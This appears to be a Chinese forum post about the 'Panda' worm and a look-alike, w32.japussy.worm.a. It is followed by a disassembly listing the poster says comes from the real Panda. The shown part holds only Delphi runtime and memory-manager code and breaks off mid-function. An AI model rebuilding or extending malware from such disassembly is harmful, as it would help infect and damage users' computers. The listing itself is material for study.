哀,这不是真熊猫。只是一个用熊猫的技术的另一个病毒——w32.japussy.worm.a。
真熊猫的原代码在警察叔叔那里呢!
我这里有反编译的真熊猫汇编代码
**************************************************************
00401000 . /04104000 DD setup_un.00401004
00401004 \0A DB 0A
00401005 . 06 DB 06
00401006 . 53 74 72 69 6>ASCII "String"
0040100C 58104000 DD setup_un.00401058 ; ASCII 07,"TObject"
00401010 00 DB 00
00401011 00 DB 00
00401012 00 DB 00
00401013 00 DB 00
00401014 00 DB 00
00401015 00 DB 00
00401016 00 DB 00
00401017 00 DB 00
00401018 00 DB 00
00401019 00 DB 00
0040101A 00 DB 00
0040101B 00 DB 00
0040101C 00 DB 00
0040101D 00 DB 00
0040101E 00 DB 00
0040101F 00 DB 00
00401020 00 DB 00
00401021 00 DB 00
00401022 00 DB 00
00401023 00 DB 00
00401024 00 DB 00
00401025 00 DB 00
00401026 00 DB 00
00401027 00 DB 00
00401028 00 DB 00
00401029 00 DB 00
0040102A 00 DB 00
0040102B 00 DB 00
0040102C 58104000 DD setup_un.00401058 ; ASCII 07,"TObject"
00401030 04 DB 04
00401031 00 DB 00
00401032 00 DB 00
00401033 00 DB 00
00401034 00 DB 00
00401035 00 DB 00
00401036 00 DB 00
00401037 00 DB 00
00401038 94334000 DD setup_un.00403394
0040103C A0334000 DD setup_un.004033A0
00401040 A4334000 DD setup_un.004033A4
00401044 A8334000 DD setup_un.004033A8
00401048 9C334000 DD setup_un.0040339C
0040104C 78324000 DD setup_un.00403278
00401050 94324000 DD setup_un.00403294
00401054 D0324000 DD setup_un.004032D0
00401058 . 07 DB 07
00401059 . 54 4F 62 6A 6>ASCII "TObject"
00401060 $- FF25 B4014100 JMP DWORD PTR DS:[<&kernel32.CloseHandle>; kernel32.CloseHandle
00401066 8BC0 MOV EAX,EAX
00401068 $- FF25 B0014100 JMP DWORD PTR DS:[<&kernel32.CreateFileA>; kernel32.CreateFileA
0040106E 8BC0 MOV EAX,EAX
00401070 $- FF25 AC014100 JMP DWORD PTR DS:[<&kernel32.GetFileType>; kernel32.GetFileType
00401076 8BC0 MOV EAX,EAX
00401078 $- FF25 A8014100 JMP DWORD PTR DS:[<&kernel32.GetFileSize>; kernel32.GetFileSize
0040107E 8BC0 MOV EAX,EAX
00401080 $- FF25 A4014100 JMP DWORD PTR DS:[<&kernel32.GetStdHandl>; kernel32.GetStdHandle
00401086 8BC0 MOV EAX,EAX
00401088 .- FF25 A0014100 JMP DWORD PTR DS:[<&kernel32.RaiseExcept>; kernel32.RaiseException
0040108E 8BC0 MOV EAX,EAX
00401090 $- FF25 9C014100 JMP DWORD PTR DS:[<&kernel32.ReadFile>] ; kernel32.ReadFile
00401096 8BC0 MOV EAX,EAX
00401098 .- FF25 98014100 JMP DWORD PTR DS:[<&kernel32.RtlUnwind>] ; ntdll.RtlUnwind
0040109E 8BC0 MOV EAX,EAX
004010A0 $- FF25 94014100 JMP DWORD PTR DS:[<&kernel32.SetEndOfFil>; kernel32.SetEndOfFile
004010A6 8BC0 MOV EAX,EAX
004010A8 $- FF25 90014100 JMP DWORD PTR DS:[<&kernel32.SetFilePoin>; kernel32.SetFilePointer
004010AE 8BC0 MOV EAX,EAX
004010B0 $- FF25 8C014100 JMP DWORD PTR DS:[<&kernel32.UnhandledEx>; kernel32.UnhandledExceptionFilter
004010B6 8BC0 MOV EAX,EAX
004010B8 $- FF25 88014100 JMP DWORD PTR DS:[<&kernel32.WriteFile>] ; kernel32.WriteFile
004010BE 8BC0 MOV EAX,EAX
004010C0 $- FF25 C4014100 JMP DWORD PTR DS:[<&user32.CharNextA>] ; USER32.CharNextA
004010C6 8BC0 MOV EAX,EAX
004010C8 $- FF25 84014100 JMP DWORD PTR DS:[<&kernel32.CreateThrea>; kernel32.CreateThread
004010CE 8BC0 MOV EAX,EAX
004010D0 .- FF25 80014100 JMP DWORD PTR DS:[<&kernel32.ExitProcess>; kernel32.ExitProcess
004010D6 8BC0 MOV EAX,EAX
004010D8 $- FF25 C0014100 JMP DWORD PTR DS:[<&user32.MessageBoxA>] ; USER32.MessageBoxA
004010DE 8BC0 MOV EAX,EAX
004010E0 $- FF25 7C014100 JMP DWORD PTR DS:[<&kernel32.FreeLibrary>; kernel32.FreeLibrary
004010E6 8BC0 MOV EAX,EAX
004010E8 $- FF25 78014100 JMP DWORD PTR DS:[<&kernel32.GetCommandL>; kernel32.GetCommandLineA
004010EE 8BC0 MOV EAX,EAX
004010F0 $- FF25 74014100 JMP DWORD PTR DS:[<&kernel32.GetLastErro>; ntdll.RtlGetLastWin32Error
004010F6 8BC0 MOV EAX,EAX
004010F8 $- FF25 70014100 JMP DWORD PTR DS:[<&kernel32.GetLocaleIn>; kernel32.GetLocaleInfoA
004010FE 8BC0 MOV EAX,EAX
00401100 $- FF25 6C014100 JMP DWORD PTR DS:[<&kernel32.GetModuleFi>; kernel32.GetModuleFileNameA
00401106 8BC0 MOV EAX,EAX
00401108 $- FF25 68014100 JMP DWORD PTR DS:[<&kernel32.GetStartupI>; kernel32.GetStartupInfoA
0040110E 8BC0 MOV EAX,EAX
00401110 $- FF25 64014100 JMP DWORD PTR DS:[<&kernel32.GetThreadLo>; kernel32.GetThreadLocale
00401116 8BC0 MOV EAX,EAX
00401118 $- FF25 60014100 JMP DWORD PTR DS:[<&kernel32.MultiByteTo>; kernel32.MultiByteToWideChar
0040111E 8BC0 MOV EAX,EAX
00401120 $- FF25 D4014100 JMP DWORD PTR DS:[<&advapi32.RegCloseKey>; ADVAPI32.RegCloseKey
00401126 8BC0 MOV EAX,EAX
00401128 $- FF25 D0014100 JMP DWORD PTR DS:[<&advapi32.RegOpenKeyE>; ADVAPI32.RegOpenKeyExA
0040112E 8BC0 MOV EAX,EAX
00401130 $- FF25 CC014100 JMP DWORD PTR DS:[<&advapi32.RegQueryVal>; ADVAPI32.RegQueryValueExA
00401136 8BC0 MOV EAX,EAX
00401138 $- FF25 5C014100 JMP DWORD PTR DS:[<&kernel32.WideCharToM>; kernel32.WideCharToMultiByte
0040113E 8BC0 MOV EAX,EAX
00401140 $- FF25 E0014100 JMP DWORD PTR DS:[<&oleaut32.SysAllocStr>; OLEAUT32.SysAllocStringLen
00401146 8BC0 MOV EAX,EAX
00401148 $- FF25 DC014100 JMP DWORD PTR DS:[<&oleaut32.SysFreeStri>; OLEAUT32.SysFreeString
0040114E 8BC0 MOV EAX,EAX
00401150 $- FF25 58014100 JMP DWORD PTR DS:[<&kernel32.GetCurrentT>; kernel32.GetCurrentThreadId
00401156 8BC0 MOV EAX,EAX
00401158 $- FF25 54014100 JMP DWORD PTR DS:[<&kernel32.GetVersion>>; kernel32.GetVersion
0040115E 8BC0 MOV EAX,EAX
00401160 $- FF25 50014100 JMP DWORD PTR DS:[<&kernel32.QueryPerfor>; kernel32.QueryPerformanceCounter
00401166 8BC0 MOV EAX,EAX
00401168 $- FF25 4C014100 JMP DWORD PTR DS:[<&kernel32.GetTickCoun>; kernel32.GetTickCount
0040116E 8BC0 MOV EAX,EAX
00401170 /$ 53 PUSH EBX
00401171 |. 83C4 BC ADD ESP,-44
00401174 |. BB 0A000000 MOV EBX,0A
00401179 |. 54 PUSH ESP ; /pStartupinfo
0040117A |. E8 89FFFFFF CALL <JMP.&kernel32.GetStartupInfoA> ; \GetStartupInfoA
0040117F |. F64424 2C 01 TEST BYTE PTR SS:[ESP+2C],1
00401184 |. 74 05 JE SHORT setup_un.0040118B
00401186 |. 0FB75C24 30 MOVZX EBX,WORD PTR SS:[ESP+30]
0040118B |> 8BC3 MOV EAX,EBX
0040118D |. 83C4 44 ADD ESP,44
00401190 |. 5B POP EBX
00401191 \. C3 RETN
00401192 8BC0 MOV EAX,EAX
00401194 $- FF25 48014100 JMP DWORD PTR DS:[<&kernel32.LocalAlloc>>; kernel32.LocalAlloc
0040119A 8BC0 MOV EAX,EAX
0040119C $- FF25 44014100 JMP DWORD PTR DS:[<&kernel32.LocalFree>] ; kernel32.LocalFree
004011A2 8BC0 MOV EAX,EAX
004011A4 $- FF25 40014100 JMP DWORD PTR DS:[<&kernel32.VirtualAllo>; kernel32.VirtualAlloc
004011AA 8BC0 MOV EAX,EAX
004011AC $- FF25 3C014100 JMP DWORD PTR DS:[<&kernel32.VirtualFree>; kernel32.VirtualFree
004011B2 8BC0 MOV EAX,EAX
004011B4 $- FF25 38014100 JMP DWORD PTR DS:[<&kernel32.InitializeC>; kernel32.InitializeCriticalSection
004011BA 8BC0 MOV EAX,EAX
004011BC $- FF25 34014100 JMP DWORD PTR DS:[<&kernel32.EnterCritic>; ntdll.RtlEnterCriticalSection
004011C2 8BC0 MOV EAX,EAX
004011C4 $- FF25 30014100 JMP DWORD PTR DS:[<&kernel32.LeaveCritic>; ntdll.RtlLeaveCriticalSection
004011CA 8BC0 MOV EAX,EAX
004011CC $- FF25 2C014100 JMP DWORD PTR DS:[<&kernel32.DeleteCriti>; ntdll.RtlDeleteCriticalSection
004011D2 8BC0 MOV EAX,EAX
004011D4 /$ 53 PUSH EBX
004011D5 |. 56 PUSH ESI
004011D6 |. BE D0F54000 MOV ESI,setup_un.0040F5D0
004011DB |. 833E 00 CMP DWORD PTR DS:[ESI],0
004011DE |. 75 3A JNZ SHORT setup_un.0040121A
004011E0 |. 68 44060000 PUSH 644 ; /Size = 644 (1604.)
004011E5 |. 6A 00 PUSH 0 ; |Flags = LMEM_FIXED
004011E7 |. E8 A8FFFFFF CALL <JMP.&kernel32.LocalAlloc> ; \LocalAlloc
004011EC |. 8BC8 MOV ECX,EAX
004011EE |. 85C9 TEST ECX,ECX
004011F0 |. 75 05 JNZ SHORT setup_un.004011F7
004011F2 |. 33C0 XOR EAX,EAX
004011F4 |. 5E POP ESI
004011F5 |. 5B POP EBX
004011F6 |. C3 RETN
004011F7 |> A1 CCF54000 MOV EAX,DWORD PTR DS:[40F5CC]
004011FC |. 8901 MOV DWORD PTR DS:[ECX],EAX
004011FE |. 890D CCF54000 MOV DWORD PTR DS:[40F5CC],ECX
00401204 |. 33D2 XOR EDX,EDX
00401206 |> 8BC2 /MOV EAX,EDX
00401208 |. 03C0 |ADD EAX,EAX
0040120A |. 8D44C1 04 |LEA EAX,DWORD PTR DS:[ECX+EAX*8+4]
0040120E |. 8B1E |MOV EBX,DWORD PTR DS:[ESI]
00401210 |. 8918 |MOV DWORD PTR DS:[EAX],EBX
00401212 |. 8906 |MOV DWORD PTR DS:[ESI],EAX
00401214 |. 42 |INC EDX
00401215 |. 83FA 64 |CMP EDX,64
00401218 |.^ 75 EC \JNZ SHORT setup_un.00401206
0040121A |> 8B06 MOV EAX,DWORD PTR DS:[ESI]
0040121C |. 8B10 MOV EDX,DWORD PTR DS:[EAX]
0040121E |. 8916 MOV DWORD PTR DS:[ESI],EDX
00401220 |. 5E POP ESI
00401221 |. 5B POP EBX
00401222 \. C3 RETN
00401223 90 NOP
00401224 /$ 8900 MOV DWORD PTR DS:[EAX],EAX
00401226 |. 8940 04 MOV DWORD PTR DS:[EAX+4],EAX
00401229 \. C3 RETN
0040122A 8BC0 MOV EAX,EAX
0040122C /$ 53 PUSH EBX
0040122D |. 56 PUSH ESI
0040122E |. 8BF2 MOV ESI,EDX
00401230 |. 8BD8 MOV EBX,EAX
00401232 |. E8 9DFFFFFF CALL setup_un.004011D4
00401237 |. 85C0 TEST EAX,EAX
00401239 |. 75 05 JNZ SHORT setup_un.00401240
0040123B |. 33C0 XOR EAX,EAX
0040123D |. 5E POP ESI
0040123E |. 5B POP EBX
0040123F |. C3 RETN
00401240 |> 8B16 MOV EDX,DWORD PTR DS:[ESI]
00401242 |. 8950 08 MOV DWORD PTR DS:[EAX+8],EDX
00401245 |. 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4]
00401248 |. 8950 0C MOV DWORD PTR DS:[EAX+C],EDX
0040124B |. 8B13 MOV EDX,DWORD PTR DS:[EBX]
0040124D |. 8910 MOV DWORD PTR DS:[EAX],EDX
0040124F |. 8958 04 MOV DWORD PTR DS:[EAX+4],EBX
00401252 |. 8942 04 MOV DWORD PTR DS:[EDX+4],EAX
00401255 |. 8903 MOV DWORD PTR DS:[EBX],EAX
00401257 |. B0 01 MOV AL,1
00401259 |. 5E POP ESI
0040125A |. 5B POP EBX
0040125B \. C3 RETN
0040125C /$ 8B50 04 MOV EDX,DWORD PTR DS:[EAX+4]
0040125F |. 8B08 MOV ECX,DWORD PTR DS:[EAX]
00401261 |. 890A MOV DWORD PTR DS:[EDX],ECX
00401263 |. 8951 04 MOV DWORD PTR DS:[ECX+4],EDX
00401266 |. 8B15 D0F54000 MOV EDX,DWORD PTR DS:[40F5D0]
0040126C |. 8910 MOV DWORD PTR DS:[EAX],EDX
0040126E |. A3 D0F54000 MOV DWORD PTR DS:[40F5D0],EAX
00401273 \. C3 RETN
00401274 /$ 53 PUSH EBX
00401275 |. 56 PUSH ESI
00401276 |. 57 PUSH EDI
00401277 |. 55 PUSH EBP
00401278 |. 51 PUSH ECX
00401279 |. 8BF1 MOV ESI,ECX
0040127B |. 891424 MOV DWORD PTR SS:[ESP],EDX
0040127E |. 8BE8 MOV EBP,EAX
00401280 |. 8B5D 00 MOV EBX,DWORD PTR SS:[EBP]
00401283 |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
00401286 |. 8B10 MOV EDX,DWORD PTR DS:[EAX]
00401288 |. 8916 MOV DWORD PTR DS:[ESI],EDX
0040128A |. 8B50 04 MOV EDX,DWORD PTR DS:[EAX+4]
0040128D |. 8956 04 MOV DWORD PTR DS:[ESI+4],EDX
00401290 |> 8B3B /MOV EDI,DWORD PTR DS:[EBX]
00401292 |. 8B06 |MOV EAX,DWORD PTR DS:[ESI]
00401294 |. 8B53 08 |MOV EDX,DWORD PTR DS:[EBX+8]
00401297 |. 0353 0C |ADD EDX,DWORD PTR DS:[EBX+C]
0040129A |. 3BC2 |CMP EAX,EDX
0040129C |. 75 14 |JNZ SHORT setup_un.004012B2
0040129E |. 8BC3 |MOV EAX,EBX
004012A0 |. E8 B7FFFFFF |CALL setup_un.0040125C
004012A5 |. 8B43 08 |MOV EAX,DWORD PTR DS:[EBX+8]
004012A8 |. 8906 |MOV DWORD PTR DS:[ESI],EAX
004012AA |. 8B43 0C |MOV EAX,DWORD PTR DS:[EBX+C]
004012AD |. 0146 04 |ADD DWORD PTR DS:[ESI+4],EAX
004012B0 |. EB 15 |JMP SHORT setup_un.004012C7
004012B2 |> 0346 04 |ADD EAX,DWORD PTR DS:[ESI+4]
004012B5 |. 3B43 08 |CMP EAX,DWORD PTR DS:[EBX+8]
004012B8 |. 75 0D |JNZ SHORT setup_un.004012C7
004012BA |. 8BC3 |MOV EAX,EBX
004012BC |. E8 9BFFFFFF |CALL setup_un.0040125C
004012C1 |. 8B43 0C |MOV EAX,DWORD PTR DS:[EBX+C]
004012C4 |. 0146 04 |ADD DWORD PTR DS:[ESI+4],EAX
004012C7 |> 8BDF |MOV EBX,EDI
004012C9 |. 3BEB |CMP EBP,EBX
004012CB |.^ 75 C3 \JNZ SHORT setup_un.00401290
004012CD |. 8BD6 MOV EDX,ESI
004012CF |. 8BC5 MOV EAX,EBP
004012D1 |. E8 56FFFFFF CALL setup_un.0040122C
004012D6 |. 84C0 TEST AL,AL
004012D8 |. 75 04 JNZ SHORT setup_un.004012DE
004012DA |. 33C0 XOR EAX,EAX
004012DC |. 8906 MOV DWORD PTR DS:[ESI],EAX
004012DE |> 5A POP EDX
004012DF |. 5D POP EBP
004012E0 |. 5F POP EDI
004012E1 |. 5E POP ESI
004012E2 |. 5B POP EBX
004012E3 \. C3 RETN
004012E4 /$ 53 PUSH EBX
004012E5 |. 56 PUSH ESI
004012E6 |. 57 PUSH EDI
004012E7 |. 55 PUSH EBP
004012E8 |. 83C4 F8 ADD ESP,-8
004012EB |. 8BD8 MOV EBX,EAX
004012ED |. 8BFB MOV EDI,EBX
004012EF |> 8B32 /MOV ESI,DWORD PTR DS:[EDX]
004012F1 |. 8B43 08 |MOV EAX,DWORD PTR DS:[EBX+8]
004012F4 |. 3BF0 |CMP ESI,EAX
004012F6 |. 72 70 |JB SHORT setup_un.00401368
004012F8 |. 8BCE |MOV ECX,ESI
004012FA |. 034A 04 |ADD ECX,DWORD PTR DS:[EDX+4]
004012FD |. 8BE8 |MOV EBP,EAX
004012FF |. 036B 0C |ADD EBP,DWORD PTR DS:[EBX+C]
00401302 |. 3BCD |CMP ECX,EBP
00401304 |. 77 62 |JA SHORT setup_un.00401368
00401306 |. 3BF0 |CMP ESI,EAX
00401308 |. 75 1B |JNZ SHORT setup_un.00401325
0040130A |. 8B42 04 |MOV EAX,DWORD PTR DS:[EDX+4]
0040130D |. 0143 08 |ADD DWORD PTR DS:[EBX+8],EAX
00401310 |. 8B42 04 |MOV EAX,DWORD PTR DS:[EDX+4]
00401313 |. 2943 0C |SUB DWORD PTR DS:[EBX+C],EAX
00401316 |. 837B 0C 00 |CMP DWORD PTR DS:[EBX+C],0
0040131A |. 75 48 |JNZ SHORT setup_un.00401364
0040131C |. 8BC3 |MOV EAX,EBX
0040131E |. E8 39FFFFFF |CALL setup_un.0040125C
00401323 |. EB 3F |JMP SHORT setup_un.00401364
00401325 |> 8BCE |MOV ECX,ESI
00401327 |. 8B7A 04 |MOV EDI,DWORD PTR DS:[EDX+4]
0040132A |. 03CF |ADD ECX,EDI
0040132C |. 8BE8 |MOV EBP,EAX
0040132E |. 036B 0C |ADD EBP,DWORD PTR DS:[EBX+C]
00401331 |. 3BCD |CMP ECX,EBP
00401333 |. 75 05 |JNZ SHORT setup_un.0040133A
00401335 |. 297B 0C |SUB DWORD PTR DS:[EBX+C],EDI
00401338 |. EB 2A |JMP SHORT setup_un.00401364
0040133A |> 8B0A |MOV ECX,DWORD PTR DS:[EDX]
0040133C |. 034A 04 |ADD ECX,DWORD PTR DS:[EDX+4]
0040133F |. 890C24 |MOV DWORD PTR SS:[ESP],ECX
00401342 |. 8B7B 08 |MOV EDI,DWORD PTR DS:[EBX+8]
00401345 |. 037B 0C |ADD EDI,DWORD PTR DS:[EBX+C]
00401348 |. 2BF9 |SUB EDI,ECX
0040134A |. 897C24 04 |MOV DWORD PTR SS:[ESP+4],EDI
0040134E |. 2BF0 |SUB ESI,EAX
00401350 |. 8973 0C |MOV DWORD PTR DS:[EBX+C],ESI
00401353 |. 8BD4 |MOV EDX,ESP
00401355 |. 8BC3 |MOV EAX,EBX
00401357 |. E8 D0FEFFFF |CALL setup_un.0040122C
0040135C |. 84C0 |TEST AL,AL
0040135E |. 75 04 |JNZ SHORT setup_un.00401364
00401360 |. 33C0 |XOR EAX,EAX
00401362 |. EB 0C |JMP SHORT setup_un.00401370
00401364 |> B0 01 |MOV AL,1
00401366 |. EB 08 |JMP SHORT setup_un.00401370
00401368 |> 8B1B |MOV EBX,DWORD PTR DS:[EBX]
0040136A |. 3BFB |CMP EDI,EBX
0040136C |.^ 75 81 \JNZ SHORT setup_un.004012EF
0040136E |. 33C0 XOR EAX,EAX
00401370 |> 59 POP ECX
00401371 |. 5A POP EDX
00401372 |. 5D POP EBP
00401373 |. 5F POP EDI
00401374 |. 5E POP ESI
00401375 |. 5B POP EBX
00401376 \. C3 RETN
00401377 90 NOP
00401378 /$ 53 PUSH EBX
00401379 |. 56 PUSH ESI
0040137A |. 57 PUSH EDI
0040137B |. 8BDA MOV EBX,EDX
0040137D |. 8BF0 MOV ESI,EAX
0040137F |. 81FE 00001000 CMP ESI,100000
00401385 |. 7D 07 JGE SHORT setup_un.0040138E
00401387 |. BE 00001000 MOV ESI,100000
0040138C |. EB 0C JMP SHORT setup_un.0040139A
0040138E |> 81C6 FFFF0000 ADD ESI,0FFFF
00401394 |. 81E6 0000FFFF AND ESI,FFFF0000
0040139A |> 8973 04 MOV DWORD PTR DS:[EBX+4],ESI
0040139D |. 6A 01 PUSH 1 ; /Protect = PAGE_NOACCESS
0040139F |. 68 00200000 PUSH 2000 ; |AllocationType = MEM_RESERVE
004013A4 |. 56 PUSH ESI ; |Size
004013A5 |. 6A 00 PUSH 0 ; |Address = NULL
004013A7 |. E8 F8FDFFFF CALL <JMP.&kernel32.VirtualAlloc> ; \VirtualAlloc
004013AC |. 8BF8 MOV EDI,EAX
004013AE |. 893B MOV DWORD PTR DS:[EBX],EDI
004013B0 |. 85FF TEST EDI,EDI
004013B2 |. 74 23 JE SHORT setup_un.004013D7
004013B4 |. 8BD3 MOV EDX,EBX
004013B6 |. B8 D4F54000 MOV EAX,setup_un.0040F5D4
004013BB |. E8 6CFEFFFF CALL setup_un.0040122C
004013C0 |. 84C0 TEST AL,AL
004013C2 |. 75 13 JNZ SHORT setup_un.004013D7
004013C4 |. 68 00800000 PUSH 8000 ; /FreeType = MEM_RELEASE
004013C9 |. 6A 00 PUSH 0 ; |Size = 0
004013CB |. 8B03 MOV EAX,DWORD PTR DS:[EBX] ; |
004013CD |. 50 PUSH EAX ; |Address
004013CE |. E8 D9FDFFFF CALL <JMP.&kernel32.VirtualFree> ; \VirtualFree
004013D3 |. 33C0 XOR EAX,EAX
004013D5 |. 8903 MOV DWORD PTR DS:[EBX],EAX
004013D7 |> 5F POP EDI
004013D8 |. 5E POP ESI
004013D9 |. 5B POP EBX
004013DA \. C3 RETN
004013DB 90 NOP
004013DC /$ 53 PUSH EBX
004013DD |. 56 PUSH ESI
004013DE |. 57 PUSH EDI
004013DF |. 55 PUSH EBP
004013E0 |. 8BD9 MOV EBX,ECX
004013E2 |. 8BF2 MOV ESI,EDX
004013E4 |. 8BE8 MOV EBP,EAX
004013E6 |. C743 04 00001>MOV DWORD PTR DS:[EBX+4],100000
004013ED |. 6A 04 PUSH 4 ; /Protect = PAGE_READWRITE
004013EF |. 68 00200000 PUSH 2000 ; |AllocationType = MEM_RESERVE
004013F4 |. 68 00001000 PUSH 100000 ; |Size = 100000 (1048576.)
004013F9 |. 55 PUSH EBP ; |Address
004013FA |. E8 A5FDFFFF CALL <JMP.&kernel32.VirtualAlloc> ; \VirtualAlloc
004013FF |. 8BF8 MOV EDI,EAX
00401401 |. 893B MOV DWORD PTR DS:[EBX],EDI
00401403 |. 85FF TEST EDI,EDI
00401405 |. 75 1F JNZ SHORT setup_un.00401426
00401407 |. 81C6 FFFF0000 ADD ESI,0FFFF
0040140D |. 81E6 0000FFFF AND ESI,FFFF0000
00401413 |. 8973 04 MOV DWORD PTR DS:[EBX+4],ESI
00401416 |. 6A 04 PUSH 4 ; /Protect = PAGE_READWRITE
00401418 |. 68 00200000 PUSH 2000 ; |AllocationType = MEM_RESERVE
0040141D |. 56 PUSH ESI ; |Size
0040141E |. 55 PUSH EBP ; |Address
0040141F |. E8 80FDFFFF CALL <JMP.&kernel32.VirtualAlloc> ; \VirtualAlloc
00401424 |. 8903 MOV DWORD PTR DS:[EBX],EAX
00401426 |> 833B 00 CMP DWORD PTR DS:[EBX],0
00401429 |. 74 23 JE SHORT setup_un.0040144E
0040142B |. 8BD3 MOV EDX,EBX
0040142D |. B8 D4F54000 MOV EAX,setup_un.0040F5D4
00401432 |. E8 F5FDFFFF CALL setup_un.0040122C
00401437 |. 84C0 TEST AL,AL
00401439 |. 75 13 JNZ SHORT setup_un.0040144E
0040143B |. 68 00800000 PUSH 8000 ; /FreeType = MEM_RELEASE
00401440 |. 6A 00 PUSH 0 ; |Size = 0
00401442 |. 8B03 MOV EAX,DWORD PTR DS:[EBX] ; |
00401444 |. 50 PUSH EAX ; |Address
00401445 |. E8 62FDFFFF CALL <JMP.&kernel32.VirtualFree> ; \VirtualFree
0040144A |. 33C0 XOR EAX,EAX
0040144C |. 8903 MOV DWORD PTR DS:[EBX],EAX
0040144E |> 5D POP EBP
0040144F |. 5F POP EDI
00401450 |. 5E POP ESI
00401451 |. 5B POP EBX
00401452 \. C3 RETN
00401453 90 NOP
00401454 /$ 53 PUSH EBX
00401455 |. 56 PUSH ESI
00401456 |. 57 PUSH EDI
00401457 |. 55 PUSH EBP
00401458 |. 83C4 EC ADD ESP,-14
0040145B |. 894C24 04 MOV DWORD PTR SS:[ESP+4],ECX
0040145F |. 891424 MOV DWORD PTR SS:[ESP],EDX
00401462 |. C74424 08 FFF>MOV DWORD PTR SS:[ESP+8],-1
0040146A |. 33D2 XOR EDX,EDX
0040146C |. 895424 0C MOV DWORD PTR SS:[ESP+C],EDX
00401470 |. 8BE8 MOV EBP,EAX
00401472 |. 8B0424 MOV EAX,DWORD PTR SS:[ESP]
00401475 |. 03C5 ADD EAX,EBP
00401477 |. 894424 10 MOV DWORD PTR SS:[ESP+10],EAX
0040147B |. 8B1D D4F54000 MOV EBX,DWORD PTR DS:[40F5D4]
00401481 |. EB 51 JMP SHORT setup_un.004014D4
00401483 |> 8B3B /MOV EDI,DWORD PTR DS:[EBX]
00401485 |. 8B73 08 |MOV ESI,DWORD PTR DS:[EBX+8]
00401488 |. 3BEE |CMP EBP,ESI
0040148A |. 77 46 |JA SHORT setup_un.004014D2
0040148C |. 8BC6 |MOV EAX,ESI
0040148E |. 0343 0C |ADD EAX,DWORD PTR DS:[EBX+C]
00401491 |. 3B4424 10 |CMP EAX,DWORD PTR SS:[ESP+10]
00401495 |. 77 3B |JA SHORT setup_un.004014D2
00401497 |. 3B7424 08 |CMP ESI,DWORD PTR SS:[ESP+8]
0040149B |. 73 04 |JNB SHORT setup_un.004014A1
0040149D |. 897424 08 |MOV DWORD PTR SS:[ESP+8],ESI
004014A1 |> 8BC6 |MOV EAX,ESI
004014A3 |. 0343 0C |ADD EAX,DWORD PTR DS:[EBX+C]
004014A6 |. 3B4424 0C |CMP EAX,DWORD PTR SS:[ESP+C]
004014AA |. 76 04 |JBE SHORT setup_un.004014B0
004014AC |. 894424 0C |MOV DWORD PTR SS:[ESP+C],EAX
004014B0 |> 68 00800000 |PUSH 8000 ; /FreeType = MEM_RELEASE
004014B5 |. 6A 00 |PUSH 0 ; |Size = 0
004014B7 |. 56 |PUSH ESI ; |Address
004014B8 |. E8 EFFCFFFF |CALL <JMP.&kernel32.VirtualFree> ; \VirtualFree
004014BD |. 85C0 |TEST EAX,EAX
004014BF |. 75 0A |JNZ SHORT setup_un.004014CB
004014C1 |. C705 B0F54000>|MOV DWORD PTR DS:[40F5B0],1
004014CB |> 8BC3 |MOV EAX,EBX
004014CD |. E8 8AFDFFFF |CALL setup_un.0040125C
004014D2 |> 8BDF |MOV EBX,EDI
004014D4 |> 81FB D4F54000 CMP EBX,setup_un.0040F5D4
004014DA |.^ 75 A7 \JNZ SHORT setup_un.00401483
004014DC |. 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
004014E0 |. 33D2 XOR EDX,EDX
004014E2 |. 8910 MOV DWORD PTR DS:[EAX],EDX
004014E4 |. 837C24 0C 00 CMP DWORD PTR SS:[ESP+C],0
004014E9 |. 74 19 JE SHORT setup_un.00401504
004014EB |. 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
004014EF |. 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8]
004014F3 |. 8910 MOV DWORD PTR DS:[EAX],EDX
004014F5 |. 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C]
004014F9 |. 2B4424 08 SUB EAX,DWORD PTR SS:[ESP+8]
004014FD |. 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
00401501 |. 8942 04 MOV DWORD PTR DS:[EDX+4],EAX
00401504 |> 83C4 14 ADD ESP,14
00401507 |. 5D POP EBP
00401508 |. 5F POP EDI
00401509 |. 5E POP ESI
0040150A |. 5B POP EBX
0040150B \. C3 RETN
0040150C /$ 53 PUSH EBX
0040150D |. 56 PUSH ESI
0040150E |. 57 PUSH EDI
0040150F |. 55 PUSH EBP
00401510 |. 83C4 F4 ADD ESP,-0C
00401513 |. 894C24 04 MOV DWORD PTR SS:[ESP+4],ECX
00401517 |. 891424 MOV DWORD PTR SS:[ESP],EDX
0040151A |. 8BD0 MOV EDX,EAX
0040151C |. 8BEA MOV EBP,EDX
0040151E |. 81E5 00F0FFFF AND EBP,FFFFF000
00401524 |. 031424 ADD EDX,DWORD PTR SS:[ESP]
00401527 |. 81C2 FF0F0000 ADD EDX,0FFF
0040152D |. 81E2 00F0FFFF AND EDX,FFFFF000
00401533 |. 895424 08 MOV DWORD PTR SS:[ESP+8],EDX
00401537 |. 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]
0040153B |. 8928 MOV DWORD PTR DS:[EAX],EBP
0040153D |. 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
00401541 |. 2BC5 SUB EAX,EBP
00401543 |. 8B5424 04 MOV EDX,DWORD PTR SS:[ESP+4]
00401547 |. 8942 04 MOV DWORD PTR DS:[EDX+4],EAX
0040154A |. 8B35 D4F54000 MOV ESI,DWORD PTR DS:[40F5D4]
00401550 |. EB 3C JMP SHORT setup_un.0040158E
00401552 |> 8B5E 08 /MOV EBX,DWORD PTR DS:[ESI+8]
00401555 |. 8B7E 0C |MOV EDI,DWORD PTR DS:[ESI+C]
00401558 |. 03FB |ADD EDI,EBX
0040155A |. 3BEB |CMP EBP,EBX
0040155C |. 76 02 |JBE SHORT setup_un.00401560
0040155E |. 8BDD |MOV EBX,EBP
00401560 |> 3B7C24 08 |CMP EDI,DWORD PTR SS:[ESP+8]
00401564 |. 76 04 |JBE SHORT setup_un.0040156A
00401566 |. 8B7C24 08 |MOV EDI,DWORD PTR SS:[ESP+8]
0040156A |> 3BFB |CMP EDI,EBX
0040156C |. 76 1E |JBE SHORT setup_un.0040158C
0040156E |. 6A 04 |PUSH 4 ; /Protect = PAGE_READWRITE
00401570 |. 68 00100000 |PUSH 1000 ; |AllocationType = MEM_COMMIT
00401575 |. 2BFB |SUB EDI,EBX ; |
00401577 |. 57 |PUSH EDI ; |Size
